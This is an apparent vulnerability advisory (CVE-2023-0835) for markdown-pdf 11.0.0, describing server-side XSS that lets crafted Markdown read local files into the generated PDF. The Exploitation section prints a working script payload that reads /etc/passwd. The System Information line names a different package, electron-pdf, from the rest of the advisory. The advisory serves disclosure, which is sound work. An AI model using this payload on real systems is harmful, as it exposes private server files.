markdown-pdf 11.0.0 - Local File Read via Server Side XSS

Summary

Vulnerability

Description

markdown-pdf version 11.0.0 allows an external attacker to remotely obtain arbitrary local files. This is possible because the application does not validate the Markdown content entered by the user.

Vulnerability

This vulnerability occurs because the application does not validate that the Markdown content entered by the user is not malicious.

Exploitation

To exploit this vulnerability, we only need to send the following malicious Markdown to markdown-pdf:

Exploit.md

<script> // Path Disclosure document.write(window.location); // Arbitrary Local File Read xhr = new XMLHttpRequest; xhr.onload=function(){document.write((this.responseText))}; xhr.open("GET","file:///etc/passwd"); xhr.send(); </script>

Thus, when markdown-pdf parses the malicious Markdown, it will return the local file specified in the generated PDF.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0835 to refer to this issue from now on.

• https://fluidattacks.com/advisories/policy/

System Information

• Version: electron-pdf 11.0.0

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://www.npmjs.com/package/markdown-pdf/

Timeline